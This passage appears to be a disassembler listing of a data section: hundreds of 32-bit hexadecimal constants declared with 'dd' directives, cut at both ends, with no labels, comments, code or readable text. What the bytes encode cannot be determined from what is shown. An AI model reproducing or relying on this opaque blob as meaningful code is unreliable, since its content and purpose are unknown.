9C4122C5h, 51941509h, 0EB12B2D2h, 0F236F7B1h dd 3701301Dh, 0F86563Eh, 0ED7B48F3h, 0E7D16A46h, 0C9C0615Ah dd 781F0257h, 7456D5A2h, 9295E3A0h, 0BDEA82FAh, 0AFB47B32h dd 0DBC113FEh, 752E615Eh, 136BFADCh, 58CBA401h, 20A5A7C9h dd 0B4B8527h, 0E1D6D88Bh, 4AEE2865h, 8521B7CAh, 411814F9h dd 0B6BC574Ah, 0B85B9F09h, 9FC6F7Eh, 0FBF78032h, 0DBF53A55h dd 341A5016h, 28E0C012h, 0A8316C08h, 0CF2BB54Ah, 8100BC56h dd 0A9BAE8C6h, 0E6801668h, 0B2B9B845h, 2CED297Bh, 571484C0h dd 4CD34CA7h, 5AAFC01h, 6F8BD88Ah, 60C849F2h, 25E576ADh dd 867079DCh, 0A9044B17h, 36BE861h, 231A6958h, 129C21BDh dd 919DC204h, 81C5CCBFh, 59E7D704h, 0B6B84724h, 2A24BA4Eh dd 201C96ADh, 3DB72501h, 59C11780h, 4A42DC7Bh, 30FB8D8Dh dd 0FBB7D8C3h, 0F164271Dh, 18D2913h, 0EEBF79D0h, 0B1D19DC6h dd 5E955F12h, 79111FEBh, 6AAFA0BDh, 0B87844DBh, 0CC761849h dd 0E93D6E91h, 0CDCB6805h, 0F4D77D06h, 0DCD8A223h, 0FD80961Ch dd 0D3C7D7B3h, 7D19CE21h, 0C6F6E3Ah, 5E86C5B8h, 10578A26h dd 1C9F61AEh, 474371DEh, 87B1BB15h, 0B2D5F42Eh, 58600015h dd 0D966A6C4h, 2691019Ch, 9A6FBB3Bh, 0C5B12BCCh, 6E3DFDEAh dd 10B40180h, 126D652Ch, 0E6F88BBFh, 85BB39D1h, 248E924h dd 4AED9F88h, 0D7FCE220h, 3F846C9Ah, 0A1C6EB63h, 0EDB8BD53h dd 2EE3E6E3h, 3DA7CC16h, 0ADFC48B0h, 56780917h, 0C2FBE2C5h dd 3D576E4Fh, 0F5FA8058h, 0CA5ED4D2h, 6C9894Fh, 98FF203Bh dd 2D003864h, 5CDF407Bh, 36A654h, 0ECEFC6ABh, 0E6AE296Ch dd 0D28C874Bh, 0D1951009h, 0D8259E04h, 48BA97E5h, 0D720AD56h dd 12C1749Dh, 2B6D896h, 0D8FE663Fh, 0F4DE3F3Ah, 0A1950112h dd 0DA4A29EDh, 0C215C881h, 18D59E60h, 9EF8159h, 38E6FC12h dd 60404AD1h, 2845DBBAh, 45F53563h, 5B7218h, 0EA2FDAF3h dd 3F61724Dh, 7F8711h, 96AA6FCBh, 1A085D9Ah, 0BB0450FAh dd 13C4242Ah, 0C8D36EE8h, 5600C201h, 0B895075Bh, 3805AEC6h dd 0B29FF7A2h, 44DF2C5Ah, 0D243B850h, 5B4CC8FEh, 0F46E585Fh dd 0D5553A00h, 45BD0B37h, 4EF7314Ah, 32F4E05Fh, 0A3F95582h dd 356C3880h, 0CDF67Ah, 6B691B77h, 0DF019F4Ah, 0B1A0171Fh dd 0B8CDD967h, 12DA20CBh, 0F1B565D1h, 0C7118906h, 96BCA76h dd 6DB12B6Dh, 0D5E9C0D0h, 0CC901ED3h, 0DBAAE6C9h, 181B5916h dd 96ED01DBh, 0CDE301FBh, 3B8E3382h, 87C5AE3Fh, 35E14C00h dd 448095Dh, 0BD89F0A1h, 5B8891E9h, 0B26E3E61h, 0D0360077h dd 70F61C8h, 2FE59159h, 17802A2Ch, 0FFF9FAF3h, 0E9369A69h dd 619030F3h, 0DA4F8AF0h, 0FC9D1082h, 93E99495h, 466BFE93h dd 7A1E9CE4h, 0D9E0165Ah, 87D8822Bh, 25141497h, 513D047Dh dd 83B39D05h, 4E52DF2Ch, 0A0C4E704h, 9559C083h, 1D91E735h dd 134DC580h, 0F902AAC8h, 740C2E5Ch, 6FED7FFCh, 0EE677B68h dd 0DCCFC7C0h, 607E27E4h, 598823D3h, 11B2321Ah, 0D35ECF21h dd 6BF895F5h, 5A751D6Dh, 0E94616E2h, 585E0BC3h, 58F3A961h dd 32F39F94h, 2515F5D8h, 1218B01Dh, 0B1259D0Bh, 0E467ED21h dd 209E601Bh, 2ECF05ECh, 0F0A7A07Dh, 0BD95DEACh, 57C88EEEh dd 3D39F3Fh, 5F7CEC96h, 15E8BF8Bh, 0A9229C6h, 0D8645BBDh dd 0B700F927h, 0EEA9FD0Fh, 1C935BFh, 94BB5CDBh, 2F750C26h dd 0D8B76461h, 2510A6F8h, 0DA7B356Bh, 19181D59h, 0EB67F49Fh dd 71C9415Ch, 285D2460h, 0ADD27E2h, 4229AE39h, 720905E6h dd 3FFA454Ch, 791BB209h, 5BED6B42h, 7D847142h, 0B309AF5Bh dd 7D95FFC6h, 589B8A42h, 0D5714BB4h, 7E6FAEFEh, 8763AD4Bh dd 137EBD09h, 2E9129FEh, 7BEA9720h, 0DC890077h, 0A0B30308h dd 0E8BC617Dh, 50875BE9h, 505B6F68h, 77046C20h, 2ACF0348h dd 763F0CA7h, 2E8880AFh, 979056E0h, 5ED21AB3h, 0EFAEBFC6h dd 22730AEDh, 37594977h, 94E8F03h, 0E32DC05Bh, 6C9E0099h dd 38961863h, 0ECB52F9Fh, 0FC8C4BE0h, 8ADA171h, 956DB22Eh dd 6FBC29h, 9B722F92h, 6DE0AB88h, 27504C59h, 0E27EFE96h dd 7417D2Bh, 0F8EA1005h, 51A82E8Ch, 66BD60EDh, 0CA004FE6h dd 32DA3CF9h, 7685D9F1h, 4AEA0884h, 5BC13A78h, 6E3B965Fh dd 7BA80F82h, 0B13BA0BDh, 0B788D11Fh, 0DB4C874Eh, 6C8C4B83h dd 6B9158BBh, 27165B29h, 3210F5D6h, 1328C4Bh, 225BB9F8h dd 778B13A3h, 4BF63C7Eh, 3823A1BAh, 0EAF94F20h, 27602AADh dd 52157BEh, 62B9631Bh, 134D6FC6h, 0BBFC5703h, 8282BC97h dd 575F4467h, 0B5B54D9Eh, 0C74700A0h, 0F4541A94h, 0CFE29C04h dd 85EA61E9h, 0C0579B67h, 0BF673366h, 787116F9h, 0C708EE46h dd 75DE2729h, 1175BD04h, 0E5D9B6EEh, 0B7C93E9Ch, 3A50B961h dd 0B265B921h, 9FFC45E0h, 246111F6h, 0E13BC059h, 0DA14C33h dd 2D28F73Eh, 0BEA670D4h, 0D29840E4h, 0C524BB79h, 0B400E167h dd 45D1725Dh, 0AAC30963h, 0A00B76A2h, 0F4A573DCh, 38D7DE02h dd 0A0BC91B9h, 0FB6A1C27h, 48857826h, 0BF35C2A0h, 0B6ED0B4Ah dd 14036ABCh, 53E3DF2Dh, 0F60D0BFh, 63AD9E81h, 140121DEh dd 0F0F809C3h, 72F616Ch, 359D23DDh, 0FB57E424h, 6B71A6AAh dd 0A9B0FD27h, 5B3B1FDBh dd 122C9E5Eh, 731E7402h, 0A4535DF4h, 9D16678h, 0BEB7851h dd 98CB89FDh, 4BD98B77h, 605ACD5Bh, 1E4A7D27h, 893B66F7h dd 8B4EA9A6h, 9A7CD1FFh, 169C05DCh, 0BC844966h, 0FE2D2D2Eh dd 2E747192h, 0FBD348DEh, 0E3FA9684h, 32A75895h, 7402FD1Ch dd 0E032432Bh, 8436E9C8h, 0C2C25D2Eh, 2F076D08h, 0E554AC58h dd 6004909Ah, 0E1BB966h, 6BE780AEh, 2E5FDC3Dh, 19C003FCh dd 2813ADEEh, 2717EC05h, 0BBF2962h, 38B05B93h, 0EF3DE781h dd 0E916895Eh, 0C2FD71C7h, 0D609BF3Fh, 6100DCAEh, 0BBAB919Bh dd 65F855FFh, 0ED2BD1E1h, 0A3E84Ah, 0B813FDE9h, 3A3D33A4h dd 0E4981A90h, 731E075Bh, 57E9EDD6h, 806FDAD7h, 6C209B7h dd 0D52D009Ah, 81B2993Fh, 0C10C82D7h, 6C5052ACh, 0AA1B4975h dd 391B6E4Bh, 16FE807Fh, 0EA7E2040h, 27875A36h, 2314A005h dd 7103D46Bh, 12CC09F9h, 0E4EFCCAFh, 53B55B45h, 0EB81805Ah dd 2ADB207Dh, 0E5011790h, 9D096182h, 292F1979h, 80D43844h dd 569A99D7h, 0BD7800E3h, 6B5BBAB3h, 3094F4CCh, 0DBCD1240h dd 757E0085h, 0FF08A8ADh, 680B4D58h, 555BDD31h, 6AFA5C30h dd 0F01E26F3h, 2752E77h, 7A31ADDh, 0CCF70AEDh, 7FDF0591h dd 0C1449A0Dh, 3F298574h, 58BCA2EDh, 0BF914701h, 0EA87BCB3h dd 0CB47817Eh, 90B33A61h, 22D05089h, 0F053812Eh, 0B302B01Ch dd 4070E6DCh, 801A8DF5h, 90971E4h, 792CADBDh, 49169A24h dd 1B1293F6h, 0F52D1EF2h, 256089D1h, 79E90CB9h, 75A800F0h dd 0A4A5EA37h, 0A905904Eh, 9CCB803Bh, 97721BAh, 9E200D1Bh dd 0FC1E5F2Dh, 604D3CDh, 50ACC82Bh, 8170F05Ah, 13FCF348h dd 12F7C6E9h, 43D59904h, 0A57C8047h, 4D0BA4D2h, 7429317Ch dd 4418207Dh, 4100FF0Ch, 34F26920h, 2750F478h, 645615F7h dd 0B0385BACh, 0CB819305h, 0C4714B5Ch, 101D923h, 6A2C49A6h dd 242795A3h, 1D402D66h, 416D50E9h, 7EBB8914h, 0EEC22FF7h dd 395E44EFh, 61F35364h, 3B5A662h, 8CD55975h, 0F5213784h dd 5137B297h, 0C61400F7h, 9BEEDF42h, 67F6040Ch, 9D01CCE0h dd 5DADCB5Bh, 5BE31390h, 0D8341200h, 2B7F681Bh, 0C64EB76Bh dd 540B4025h, 0B500DE3Dh, 8EA95D15h, 162259Ah, 0C78133AFh dd 3163888Fh, 739B2A61h, 0CA3EA8C0h, 0BC025402h, 0FB707CD6h dd 75E58553h, 0EC6A7EA1h, 0BF57C014h, 9642923h, 0C0B95B7Ch dd 913730ABh, 0CB738380h, 2A2F699h, 0BD317ECAh, 32DD15A1h dd 77BD5A4h, 0BA5A5752h, 4F315095h, 80AADBFCh, 0DA089DF2h dd 2D037536h, 4DE80131h, 87B209B5h, 0C0115B74h, 0C41308E9h dd 0D7C9EAE3h, 9E69D2FDh, 2FAE7B8h, 0CBFC3E06h, 7A841070h dd 0A77B9559h, 5DB52960h, 5BD4820Ah, 7ABACC09h, 0FF5397C3h dd 27774278h, 0D7D3F5C6h, 0EC181859h, 1DE41109h, 395109h dd 297BF4B1h, 0A4007A93h, 0BB7D0B75h, 4670699h, 0A26EEF0h dd 0D309E854h, 80B03EFFh, 0BC489E9Dh, 6CBA094Ah, 5EF124BFh dd 0F2C10E01h, 0D5ECABDCh, 12CF38A0h, 0B2206401h, 33E6505Dh dd 8C6112A4h, 2B773000h, 135BA6A3h, 164A36F7h, 4BC0F927h dd 9D352CCAh, 0CCDBEF3Ch, 89279ACEh, 0A5850579h, 0F4E67EBAh dd 899326F0h, 0B5312004h, 0A6AA190Dh, 73EAE56Ch, 2A787A9h dd 596DE1FFh, 0DE8FABE0h, 0F65C1E21h, 4F0E890Fh, 30915882h dd 25361C5Dh, 0B5EF031Ah, 0D542D440h, 61B17FEh, 0A31E0401h dd 0A341E89Fh, 0BB590202h, 59DD704Ah, 0BA504074h, 0CD109F02h dd 604E1524h, 0D625516Eh, 59913185h, 0A5BD0CCDh, 0ED43E26Dh dd 0FF0DC2D2h, 0D5DE3277h, 7295E2E6h, 7B13FEFBh, 0C7618476h dd 0EEB8045h, 0F590322Eh, 7E694574h, 25031056h, 0DE601090h dd 133700B4h, 9A4CBBBAh, 580746CBh, 5B52243Ah, 3EED461Bh dd 6F962522h, 0F6F964A3h, 0EEC5ADCh, 59122527h, 0A04E927Eh dd 1C26E8C3h, 80681D45h, 0C41856FEh, 0F36BC2Ch, 5303FD7Fh dd 8D4A75B8h, 9DDE41B0h, 0B5A66A16h, 1DD770F5h, 9D0252C2h dd 1EE998A8h, 0F4977601h, 75034A00h, 0F5321690h, 0B4FA279Ah dd 56250D46h, 0B724FF89h, 0C1E7BC5Bh, 5ED8D09h, 4B48F72Ah dd 0F9A78894h, 2020EFA4h, 254726F5h, 807A89DFh, 55256F9Eh dd 2924A035h, 0C7CDC6E0h, 0BB6609BAh, 0C978EB6Dh, 0C9437C94h dd 0A203B891h, 2FDE00D5h, 0C21F4CAEh, 0BF17BDCCh, 2A905096h dd 5B498D89h, 0C0A2FD1Eh, 1D3EDF81h, 682F02CFh, 3B22A03Fh dd 0A3C01648h, 29093D77h, 7B06A98Dh, 0B576AF34h, 333B1B10h dd 5025A130h, 0E41760BFh, 21AB46F5h, 2B1AD138h, 0E572BF9Dh dd 5AAC4E00h, 96CD2F13h, 11099B77h, 81D8CB24h, 61635B4Bh dd 2CF07376h, 0AC25B985h, 0A7BFC5AFh, 0C3917910h, 79749012h dd 0E3CCE909h, 5F09FCEEh, 4245F059h, 22803ADFh, 3AE9FF99h dd 80A72EE1h, 8BFCD8A0h, 0AA8DE5Ah, 0FFBFC4EBh, 4B8BA2FAh dd 0EBCB24AEh, 0FF19B709h, 14FBE89Ch, 0FFCB768Ch, 659EE2F0h dd 0AA0B55A7h, 5B35C08Eh, 5543043Dh, 0FEDBBE2Ch, 0C9C018C8h dd 48D875BBh, 5D1390F2h, 0D06FFF10h, 0D90E675Bh, 982B159h dd 5C1D1995h, 0B9CCEC58h, 0DFD81A41h, 970F4A96h, 0C8DA0949h dd 0DCC994h, 6A82C2EDh, 1C4A56F3h, 50A24935h, 143D890Fh dd 0C1ABA4A0h, 2E5FFA66h, 9811C34h, 8B6B2F79h, 6E9A4AF4h dd 4D45409Ch, 0A0D01E93h, 64F3CDB5h, 0A0976315h, 8802800Fh dd 0ACB06CB3h, 0C52A7125h, 97E42D42h, 19551294h, 0FC6C1E4Ah dd 0E4A13CB7h, 2B1865B1h, 0B86F6213h, 4B7DDB01h, 0AF8374E2h dd 0ADB576B0h, 0BDD9F95Bh, 0B39D312Eh, 0D0E22AD0h, 0CC0229A8h dd 0C4A92332h, 5B015521h, 296AC2FEh, 1635BCE6h, 1E915F9h dd 0B3753792h, 0E8DA2AE6h, 50C01DC8h, 412D0Eh, 37AFE646h dd 0DF8010A4h, 0E781F703h, 0CDC1252Fh, 0C9C99AFBh, 8344311Bh dd 0E04812D0h, 0E0C24FFAh, 1F400117h, 5CBBE250h, 4F28A4FEh dd 9FCB9884h, 5D0050B7h, 0FF8DD14Ah, 38F9BF8Bh, 420AAE26h dd 54AD987Ah, 0F69DF683h, 54EC61DEh, 0E9F63F76h, 0B26C19B2h dd 9C85A102h, 5C6B829Dh, 143051C1h, 1D311DC1h, 0D40E9603h dd 0D2505D93h, 0E0E15FF6h, 82F3F4FDh, 1129F13h, 16B2C3B6h dd 5C632C30h, 90C0DC58h, 0F46208B5h, 1FAF523Fh, 67C09D6Dh dd 0FD67F7Dh, 24BB98Eh, 31BD0B52h, 7FA5477Eh, 19165C35h dd 0DA0218E6h, 9AF38C6h, 0ABBDC9C3h, 0E7059A9Ch, 6BC9742Eh dd 827E0D7Ch, 0F63F67CEh, 20DB9312h, 0DA6AB380h, 6B3F1210h dd 0BD2B04A5h, 0E1172725h, 2B77717Dh, 6FA948F9h, 0C0706962h dd 8121E9F1h, 3B942FC6h, 0B2B5C9ACh, 0ACA9038Fh, 98BE563Fh dd 1F7EC08h, 83E48F91h, 0F668CADCh, 0F00166E6h, 54FC81C8h dd 1A305B86h, 0E9FC9F9Dh, 0F3A5E904h, 0F094E6EFh, 0EC346F75h dd 238D024Dh, 0C18B6772h, 5C437FDh, 0FF794EBFh, 15C980DAh dd 0BB5E17B0h, 34D15495h, 7B14A109h, 9100676Eh, 40DF948Ah dd 5F300A53h, 0BD0948E8h, 0A91B5BA1h, 9734F871h, 749A77Eh dd 816AE82Eh, 0BCEDF02h, 87E17F06h, 0EFF36F30h, 0C82D7A64h dd 0F99752E2h, 8D990131h, 7ADEC3B7h, 718B0A0Bh, 82634052h dd 5A00F681h, 19082225h, 14FEE4Bh, 27411CC2h, 3A5482FCh dd 7065D3A2h, 6152ABC5h, 45CD269Bh, 0D8D64238h, 64CEEDDFh dd 19A9817h, 0A63C8502h, 78518D31h, 0DD6D952Bh, 0E1601464h dd 0D15AFFFCh, 95B14BAEh, 0CA07097Ch, 4C33A85Fh, 9F63C07Bh dd 80A91EA0h, 1B5CE7CFh dd 63777859h, 8C07CCE0h, 0FDFA90Bh, 3EFE495h, 0C3715E3Dh dd 0B09643B0h, 0A0EEC21Ch, 31FFD697h, 66026A15h, 0AB00F789h dd 1233A958h, 9EF8090h, 4C025631h, 4B74E98Bh, 59BD2382h dd 0CF38572Ch, 0D85AE9F8h, 649F1DF3h, 0B6ED2768h, 0CCF8AAE1h dd 41C37FD6h, 0AFA0065Eh, 7A3A97DEh, 7D43876h, 821518F8h dd 747A6033h, 8527891Bh, 42B5DE39h, 90020AE5h, 0BBECD560h dd 0D732B91Fh, 980F30D2h, 7F53E961h, 5B248944h, 0F82D7A90h dd 2BC525DCh, 29419771h, 5D1A4DBDh, 89F1A9ACh, 2A6FD3Fh dd 16C80EBBh, 60535C29h, 0F95FD381h, 6A4F581Fh, 0E745665Eh dd 0D781439Fh, 0D4691E19h, 3559BD25h, 0DE6DF12h, 92895022h dd 0CCB0022Fh, 1C9C7E53h, 402DA2EBh, 0A943F7DEh, 10006324h dd 811DBAE5h, 0F2B776C3h, 0E95B5465h, 0F7012E6h, 644D2789h dd 7B5EC980h, 0C0792C20h, 0D82800BFh, 481BF82Fh, 8A06D7B3h dd 71E404FAh, 9524F8D3h, 6701B971h, 0B5D2BC70h, 0EFFC94C9h dd 85CB547h, 0C8CDE992h, 0AFB9C47Bh, 0C44F12E6h, 0C18CB4A5h dd 9CD810BDh, 74FC00A1h, 3A7344B5h, 0EB09F52Dh, 99486D64h dd 7F398FD0h, 994C5F32h, 44AB5ACh, 950B6005h, 28AF221Dh dd 0C5208516h, 93615118h, 0F96A022Bh, 0E155C82Bh, 7A692D31h dd 838B1481h, 346B30F5h, 22710790h, 273AF3Eh, 0E970B3D1h dd 2B665F6Fh, 157F133Fh, 27770485h, 561F2961h, 0F3BB047Eh dd 54BC5643h, 0DEE380C2h, 0A90585Ch, 3C0A0A92h, 0BFD30912h dd 0F9D3E71h, 410B72E9h, 0C5885E26h, 0EFCB341Eh, 652BB9A1h dd 95770441h, 4F3F503h, 8423AD5Fh, 1C1D5081h, 0BC9A02EFh dd 0B7776A28h, 0B1038034h, 0ABB93A57h, 0D8702305h, 62AFFCF9h dd 6D808A3Bh, 2CD5BD2Bh, 0B271B980h, 89F8B72Fh, 87F91C5Fh dd 2E2076A9h, 0E038E895h, 8529FC4Bh, 0B279461h, 0B137C02Bh dd 0ECE49A82h, 6856D613h, 2B163BE0h, 0B8D4B9D2h, 235D0097h dd 11EC182h, 2FE7ED9Dh, 4CC301A8h, 37E0E2DAh, 0A239A052h dd 0B2E481C4h, 0F88D40D9h, 57C65FEDh, 61BBE936h, 5159F652h dd 27253A09h, 0A6727904h, 21F58682h, 35999501h, 0F6A2BA5h dd 5E271723h, 0BE98841h, 0D704DA80h, 9C1CFA5h, 80B8AFA1h dd 0FD13427Dh, 126065EFh, 1229A975h, 0AF1DBDB5h, 9EFE874h dd 1171186Ah, 506BF3DAh, 2A70FE02h, 62860C00h, 8D89ABD2h dd 0E8BB4ADh, 9EA2956h, 9ED8ADB3h, 671D4525h, 0AF3C12F8h dd 0BAE9F774h, 0A4000BB8h, 7A6346E4h, 95E53D14h, 8BDDD69Ah dd 0E14B49B0h, 631F047Fh, 0A797ACA4h, 7AFF0595h, 0F9421F4Fh dd 0BEC92C9Ch, 0E9658278h, 4FF95F1Fh, 3D05E96Eh, 0DE3C823Ah dd 6414D70h, 0ECFFFAFDh, 0A20206FFh, 0ECF9D11Eh, 245DF309h dd 45C9595Bh, 3C7CE2F1h, 67FFDAF5h, 60FBC1F5h, 8CEC6052h dd 2C9BD95Ah, 8ADAA481h, 3CD3AEFh, 0E2806D2Ch, 1B9D17B2h dd 0BB1262B8h, 0B5B4A9CDh, 0C04E0406h, 0AD5B5718h, 18310B7h dd 8D129948h, 0D2A4A21Ch, 0F86ABBh, 0DCDAAED5h, 976B20F3h dd 9ED4A5FEh, 9E63CFA7h, 56F98584h, 0F5A26A01h, 21515B27h dd 0D1212D00h, 0AF9E9Ah, 7325F5DFh, 0FB35EFC5h, 0DC0ABE02h dd 10E83C43h, 0DA00D783h, 6C23877Bh, 0F45C976h, 82A4192Bh dd 0BB466705h, 2D1A8B1Fh, 288E5F6Dh, 0EFBCDC55h, 83979114h dd 2065C3D6h, 3A8499ADh, 6FE99939h, 0A8D662A8h, 0D30100DFh dd 381F8C68h, 2F81956Bh, 0DE271C73h, 2EC12261h, 0B54B27BDh dd 3D9A2B11h, 43C215C8h, 0A09BE0DBh, 52683B3Eh, 3D2ECB07h dd 7172191Dh, 40236F9Dh, 9C22F12Dh, 857ED03Eh, 29DE9F5h dd 0ED7AAEh, 0CA744B6Fh, 17BBE210h, 0FFF9BF0Fh, 5FD13060h dd 0AC044272h, 97D37308h, 92BA5290h, 51A34C00h, 0F7CAB5DAh dd 7E3D120Fh, 9D31FFFDh, 57CAC380h, 249E6C94h, 98F439D4h dd 2E28C9CEh, 8B0075F8h, 60251023h, 364BE314h, 7BFFD385h dd 0D4D92FF9h, 4E10103Ah, 91048E8h, 0B70F072Ch, 0B2AF61CBh dd 92F748Dh, 3E94053Eh, 5A47D19Ch, 47B9EEA0h, 14B60038h dd 0E3717E69h, 9604037Dh, 1B621941h, 0FB4AD7B8h, 98EB5927h dd 0F25DEA5h, 0DA52C1EEh, 19E9D760h, 5917C27Ah, 4FB4E46h dd 0FE5BF8A0h, 595111D2h, 0C7EA01AEh, 0E4EF5841h, 20015FD2h dd 6FC1D527h, 206E5B40h, 113451BBh, 1E157C0Eh, 0CAFE27A2h dd 7D4B91FAh, 0DFC5BB0h, 6C0052EEh, 0EA13A717h, 5EE12989h dd 0CB42A8E8h, 6B047F5Bh, 0DB9EAA6Ah, 0AC54C0D7h, 3124A5B9h dd 5EBAFC10h, 50E08FA8h, 8B6EDE8Ah, 0C452EB4Bh, 17AD00A5h dd 7B47429Eh, 6C013EF2h, 0AC983703h, 4E3AE67Ch, 60008B9Bh dd 0B966D88Ah, 6E1F64Bh, 2651A2h, 0AD510C01h, 0B03FF6CCh dd 0AC0D8F01h, 7F58F1A3h, 0BA6F3Eh, 0ECAA2D61h, 0F05199h dd 0BF66D5A8h, 0B9BB3DE1h, 2E153312h, 956C8CABh, 0FE9507E4h dd 1470DCF3h, 0B5E908E1h, 3500CDE4h, 97385E12h, 38D45890h dd 0AACA508Ch, 6224F34h, 9728D061h, 0F27849FBh, 0C7DA141Bh dd 1D16F0F1h, 0A0BFBC22h, 4FBD89D9h, 614E09A5h, 0DDCB116Dh dd 5DA4B490h, 0E7B59FE6h, 0D43FAEDFh, 0A91A6307h, 0EC31BB6Dh dd 0A82FDEA6h, 700593E3h, 0CBFFADEFh, 22313455h, 0C4359BFAh dd 4BCA5521h, 6A17417Ah, 0DF2140B6h, 2574A7D7h, 77BB4105h dd 31C05ADBh, 0B3A13782h, 0BB20D65Bh, 15E489h, 26AF6FB6h dd 0F8ABE0F9h, 0DDF3E71Dh, 56AED901h, 283ABD9Fh, 6688042Bh dd 9E0179BBh, 8ECE3F04h, 0AFED3124h, 0E27FDC8Ah, 0EAA847h dd 0E0213A2Fh, 69426043h, 9D03CC04h, 520B32ADh, 0FED79018h dd 6A70A500h, 24355E59h, 63C525AFh, 46DC8A74h, 6D6C001Ah dd 0F5B02520h, 4098B410h, 9C5013D5h, 4A4E7E00h, 0A087E264h dd 910C12C1h, 9092FA8Bh, 0C1515F5Bh, 2F7876A7h, 95DE2B54h dd 9DD45632h, 0DAC1FC65h, 0CB2B3135h, 0AC8D49DEh, 8B9609BBh dd 0E83350F9h, 6680E8D2h, 395FA191h, 0C5B0F573h, 234BFA8Ch dd 0A85E35F8h, 3E5B12Eh, 5FF64B0Eh, 0C3C037A2h, 295BE5B5h dd 874012A7h, 9D194E25h, 4ABE6C57h, 49286AFFh, 77DAC440h dd 0DE0702FBh, 7FE60AEDh, 0AFBB7B01h, 41AECAF2h, 0FD812C5h dd 1D32090Eh, 8B75B8F7h, 0AF165EE9h, 0DAC37E4Dh, 13DE88F1h dd 0D8840B93h, 0B2D4880Fh, 0DC6A50h, 0A9C0B323h, 702AFCBh dd 1F00CBFFh, 0DC3C7B79h, 9D05C44Dh, 9362850Bh, 0F8686C5Eh dd 22AC3660h, 33780549h, 80D8A0Fh, 0D4830838h, 0C5A58629h dd 5B269EBCh, 0E4A2091Dh, 0EFB78DD0h, 0CE0B60EDh, 1C17A13Ch dd 0BA669AEEh, 49ACA150h, 9FF6F26Fh, 0F1CDFA17h, 82BF67Bh dd 2F2F49BDh, 0C3110D60h, 7F23099Dh, 3EE256CFh, 9371DFA6h dd 68B549A8h, 759D3173h, 6549715h, 5EDA8BC2h, 0C26F51E5h dd 0C03DD7h, 4D909296h, 29166030h, 5780D18Dh, 916EA81h dd 613F4FF9h, 7A740DD0h, 5456502Fh, 0A9B758C7h, 965B0CC4h dd 0E017B6EBh, 75377709h, 687314FCh, 5914C227h, 9DB0DC16h dd 73B52B79h, 5C84AF4Ah, 2AA8D983h, 0CAABA5D4h, 5941A01Eh dd 0ECBA97FBh, 4D47E7Ch, 0F9A08F2Dh, 0A3EBBC8Ah, 7ABF854Ah dd 343609BBh, 19EA7D1Ch, 0D700BBD1h, 8E7EDC37h, 0DEEC0221h dd 0F5952C20h, 0F962F05Eh, 6A4E75C6h, 2C3DC181h, 0CEE35AE7h dd 481F1DC4h, 44B56B46h, 358E4A00h, 3D699954h, 10732E89h dd 9231995h, 0FEB6CB80h, 27ED2CB3h, 45078FCh, 99673E95h dd 19F553A5h, 342F6161h dd 1BF2BBh, 7BCFFFD5h, 172453BAh, 0A31520FDh, 99350095h dd 0C1B2D781h, 5F7D268Ah, 0FE0BC411h, 5090F121h, 86825F68h dd 0EFF74C0Ch, 0B1BF8019h, 5F769A2Dh, 1D9B904Bh, 23BAEB81h dd 2AB77AB1h, 1207EEA5h, 0DD69E8F7h, 15D31A92h, 2FC5372h dd 5CD9D29h, 0BF16C65Ah, 0F6F10BDFh, 242F17EDh, 30DBA0FAh dd 86AC9081h, 15BB012Dh, 0E87D7333h, 0DB99529h, 0A2FBBF0Fh dd 5B6A242Bh, 0C175784Ch, 22AB0F5Eh, 377F6AA7h, 88FD93DAh dd 7100D883h, 5140ED35h, 2B5F879h, 0F40897E0h, 537D6220h dd 46320893h, 8B74B3DCh, 0CD06A187h, 262754FAh, 0F375576h dd 5CBF1481h, 270B3234h, 29B2115Dh, 5F5302C2h, 7813535Dh dd 51072B1Dh, 0EF477632h, 0F39BBF90h, 12024E6Eh, 0BD46F9Dh dd 32E3680Fh, 735E60ECh, 87EDB51Fh, 93DFC908h, 0B57E308Eh dd 94BE0AF1h, 7B1F2DBBh, 92FDA77Ah, 79D1DF63h, 0BF26011Fh dd 1F160717h, 0DECFF30h, 48D8003Bh, 3F93FC26h, 0BB0F9D77h dd 0E35763F9h, 1343DDB4h, 0BA5F52FFh, 1623A06Eh, 49C12704h dd 0F889BEBDh, 0F6A79879h, 0D1CC3CB7h, 0B5C98D17h, 783B788Fh dd 129F7158h, 7ABF1CF1h, 352512EDh, 6FE28980h, 45CAA08Ah dd 0E86122FDh, 0EE0088E0h, 74C66E2Eh, 0BF79287h, 3301AB67h dd 0DDEB9AF7h, 0D6731189h, 0D0490A11h, 154E0493h, 88DCBC17h dd 9076A70Ch, 34913A80h, 30A637D1h, 0B6EE81E7h, 0E6265F4Ah dd 0BD1AF070h, 26E35541h, 181575B9h, 9D4A8ACEh, 0BB01A85Ch dd 52AD4749h, 9AD202Fh, 1242D9BDh, 942BF172h, 234FF44h dd 810195B8h, 0B2693AC7h, 85B27A2Dh, 0D8989148h, 2B801F0Dh dd 88E87BC8h, 8803A776h, 69BF8737h, 43365A60h, 615B539Fh dd 80D1A097h, 0F512B3D7h, 7CC86EE9h, 3807B8DBh, 0E0DA4C44h dd 0D399E1B2h, 140E48BAh, 700910A1h, 5D25BB04h, 8DBD2E28h dd 0DD9A0C22h, 0FFE93240h, 0F3F91792h, 0E186648Fh, 4FEF7EFh dd 5499D03h, 0A586BCh, 161CEB1Fh, 8C1A12BBh, 116A2D05h dd 0FC2B8D5Ah, 0FFF2A35Eh, 405A2C9h, 143D77A2h, 0B2605300h dd 475489Dh, 0E58D31D7h, 4E9CEE29h, 2C87510Fh, 0B9C8812Bh dd 0D453EEC6h, 120ED9D0h, 4EDE114h, 0AFDA4E53h, 0ADFD3920h dd 10C7D60h, 6404F117h, 4143ECF4h, 2F88E891h, 316FC016h dd 0E72A8F00h, 6123BF15h, 0FC36BC1Ch, 0A51E2D64h, 0E4C3E7E5h dd 7207601Ch, 0A3690223h, 8F5385Ch, 95D02DDh, 25170A18h dd 613A2DDAh, 0FED2B3F9h, 93BCE4B1h, 0ABB68CF4h, 8AF813BEh dd 0C6C1B787h, 77292F2Bh, 2FB16A3Eh, 907F8F5Dh, 8539205Eh dd 0B60001E4h, 3E9505B3h, 3C68312Dh, 293F8825h, 0E9261197h dd 8C18BC32h, 6C124305h, 74AF1DD7h, 0A801A993h, 0F4813CCh dd 0E5A8628Dh, 45F5FCCAh, 48ECDA89h, 79854A5Bh, 0A176FBCh dd 0E042A6AEh, 720C3028h, 0AEBC00D6h, 9BFD0E3h, 224BCD9Dh dd 8A35B9CEh, 3DDBAF3Eh, 9FA494C0h, 0F00498FBh, 0FC8D7CE9h dd 5DD18Ch, 5592ED1Fh, 502827FDh, 2569B03h, 8CE71C68h dd 0F6A4D9ABh, 418D8440h, 0DC210C41h, 1AB1DD2Ah, 0D7A8D7ADh dd 